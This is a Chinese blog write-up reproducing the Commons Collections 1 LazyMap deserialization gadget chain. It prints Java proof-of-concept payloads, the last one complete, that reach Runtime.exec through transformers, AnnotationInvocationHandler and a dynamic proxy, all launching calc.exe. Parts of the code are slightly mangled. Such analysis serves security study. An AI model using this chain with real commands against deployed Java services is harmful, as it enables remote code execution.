关于cc1链-lazymap版复现

思路,在cc链中最重要的其实是transform方法;其反射调用执行的性质+transformchain性质,导致可以通过构造反射调用链子,也就是Runtime.exec的反射链进行命令执行;

所以关键地方在于找到transform方法;

在lazymap中的get方法中的factor调用了transform;在lazymap的构造函数中我们可以看到factor是作为key(键)值传入;且触发条件是lazymap对象中没有这个键值时调用transform方法



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =LazyMap.decorate(innerMap, transformerChain);//由于不能直接调用构造函数,因此使用decorate获取其对象
outerMap.get("man");

可以看到这里执行了calc.exe

因此接下来看谁调用了哪个类调用了get方法;

有很多;这里 ysoserial开发者使用了AnnotationInvocationHandler中的invoke方法调用了get

这个memberValues是其构造函数的可控参数,这里需要另其为LazyMap对象

接下来继续找谁可以调用invoke方法;

这里开发者很巧妙地想到了动态代理机制:使用动态代理时;被代理对象的任意方法被调用时会转发到代理对象的invoke方法中;

而AnnotationInvocationHandler是一个代理类且AnnotationInvocationHandler作为动态代理的处理器;他实现了InvocationHandler接口;导致它的实例对象执行任意方法会转发到它的invoke方法中

也就是说AnnotationInvocationHandler作为处理器去被代理类的执行任意方法,会转发到它的invoke方法上;也就是说执行Lazymap的任意方法会转发到它的invoke方法中,从上文中我们可以看到AnnotationInvocationHandler的invoke中存在一些方法不会触发;因此需要一点绕过;只需要调用的方法不是

toString,hashCode,hashCode即可

payload


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}), };
Transformer transformerChain = neW ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);
mapproxy.clear();

可以看到执行了命令;

但在反序列化过程中无法进行显示调用,需要进行自动执行;

而在Lazymap和AnnotationInvocationHandler的readobject中我们看到都调用了entryset方法

也就是说执行AnnotationInvocationHandler的readobject会调用entryset

这时候我们需要让memberValues=mapproxy;

从上文可以知道memberValues是在构造函数中进行赋值,进行以下构造

此时我们的完整payload为

public class CommonCollections1 {
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);//构造链子,使调用get时,触发transformerChain->transform(key) Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true); InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);//连接invoke{memberValues->get}
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);//转发到ih的invoke Object obj=constructor.newInstance(Target.class,mapproxy);//触发entrySet //进行对象序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss=new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); System.out.println(outputStream);
//进行反序列化 ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object=objectInputStream.readObject();

总结一下:这个版本的cc1链使用了LazyMap的get方法进行触发,为了触发这个get方法,引入了AnnotationInvocationHandler的invoke方法;为了触发invoke,引入了动态代理;执行LazyMap的entryset方法触发invoke;为了在反序列化时自动触发;使用AnnotationInvocationHandler进代理对象进行包装,使其执行LazyMap->entryset后执行AnnotationInvocationHandler->invoke->LazyMap->get后执行 ChainedTransformer->transformerChain->ConstantTransformer(Runtime.class)->InvokerTransformer(getMethod)->InvokerTransformer(getRuntime)->InvokerTransformer(invboke)->InvokerTransformer(getMethod)-> InvokerTransformer(calc.exe)

比较直观一点的gadget写法

+------------------------+        +-------------------------+
| AnnotationInvocation | | Dynamic Proxy (Map) |
| Handler.readObject() | |-------------------------|
|-------------------------| 调用 | memberValues.entrySet() |
| memberValues (代理Map) | -----> | → 转发到InvocationHandler|
+------------------------+ +-------------------------+
| ↓
| +-------------------------+
| | InvocationHandler.invoke|
| |-------------------------|
| | LazyMap.get("entrySet") |
| +-------------------------+
| ↓
| +-------------------------+
+------------------------| ChainedTransformer链 |
|-------------------------|
| 反射调用Runtime.exec() |
+-------------------------+

​ 手法很巧妙;相对于TransformedMap版本通过setvalue触发 checkSetValue机制;这里使用entryset触发invoke,再触发get,中间使用了动态代理作为桥梁;

使得执行entryset时会转发到AnnotationInvocationHandler的invoke中,我认为这个思路对于大部分使用invoke触发过程的链子都是适用de6

参考:
p牛的知识星球->代码审计->java系列文章;
+
https://www.cnblogs.com/leyilea/p/18426165?app_lang=zh-CN

关于cc1链-lazymap版复现的更多相关文章

  1. P3379 【模板】最近公共祖先(LCA)(树链剖分)版

    #include <bits/stdc++.h> #define read read() #define up(i,l,r) for(register int i = (l);i < ...

  2. CC1链详解

    前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教.谢谢! 环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了 下载链接:https://www.oracle.com/cn/ ...

  3. [WC2010]重建计划(长链剖分版)

    传送门 Description Solution 时隔多年,补上了这题的长链剖分写法 感觉比点分治要好写的多 我们假设\(pos\)是当前点的\(dfn\),它距离所在链的底端的边的数量是\(len\ ...

  4. YsoSerial 工具常用Payload分析之CC1

    前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...

  5. cc1

    基础 cc接口及类介绍 Transformer接口 Defines a functor interface implemented by classes that transform one obje ...

  6. 【CJOJ2440】大话西游(树链剖分)

    题面 Description "大话西游" 是一个在中国非常流行的在线游戏, 由 NIE 公司开发和维护. 这个游戏来源于著名的小说<西游记> 和周星弛的电影, 游戏的 ...

  7. PHP伪造referer突破网盘禁止外链(附115源码)

    新建一个文件file.php.后面的参数就是需要伪造referfer的目标地址吧.如:file.php/http://www.xxx.xxx/xxx.mp3 复制内容到剪贴板 代码: <?$ur ...

  8. cve_2019_0708_bluekeep复现采坑

    0X01 简介 Microsoft Windows是美国微软公司发布的视窗操作系统.远程桌面连接是微软从Windows 2000 Server开始提供的功能组件. 2019年5月14日,微软发布了月度 ...

  9. CommonsCollection3

    CommonsCollection3 1.前置知识 CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类 1.1.InstantiateTran ...

  10. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

随机推荐

  1. MySQL REPLACE INTO语句

    介绍 在向表中插入数据时,我们经常会:首先判断数据是否存在:如果不存在,则插入:如果存在,则更新. 但在 MySQL 中有更简单的方法,replace into(insert into 的增强版),当 ...

  2. 掌握 K8s Pod 基础应用 (二)

    Pod生命周期 我们一般将pod对象从创建至终的这段时间范围称为pod的生命周期,它主要包含下面的过程: pod创建过程 运行初始化容器(init container)过程 运行主容器(main co ...

  3. MySQL性能调优必知:Performance Schema引擎的配置与使用

    当你在MySQL高并发情况下的进行性能调优时,需要知道调整后的影响.例如查询是否变快了?锁是否会减慢运行速度?内存使用情况如何?磁盘IO等待时间变了吗? . Performance Schema就有一 ...

  4. go 语言中的占位符详解

    在 Go 语言的 fmt 包中,占位符用于格式化输出,允许在输出时插入变量的值.以下是一些常用的占位符及其用法: 通用占位符: %v:按照值的默认格式输出. %+v:输出结构体时,会添加字段名. %# ...

  5. 【Docker】命令行操作

    Docker常用命令 帮助命令 docker version docker info docker --help Docker 客户端 docker 客户端非常简单 ,我们可以直接输入 docker ...

  6. HBase集群快速部署摘要

    HBase快速部署摘要 相关软件版本 系统:CentOS-7-1810 JDK:7u79 Hadoop:2.7.2 ZooKeeper:3.4.10 HBase:1.3.3 静态IP 位置 vi /e ...

  7. exe4j工具使用-jar包转exe可执行文件

    exe4j介绍 exe4j可以将java打包的jar包转为exe可执行文件,实现在没有jdk环境下运行jar包. 下载链接 https://pan.baidu.com/s/1sfEJyxPABmhsl ...

  8. apk签名问题

    https://www.jianshu.com/p/0bd7b6d6e068 https://blog.51cto.com/u_15520037/5703487

  9. 配置springmvc的springmvc.xml

    <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.spr ...

  10. python多个数列(列表)合并,合并后取值的方法

    有时候需要从一个excel或者多个excel读取多列数据,然后传到后面的步骤内去执行操作 这里就涉及到把数据合并再分割的问题,比如下图excel数据,取出两列手机号和余额 思路,先从目标excel内逐 ...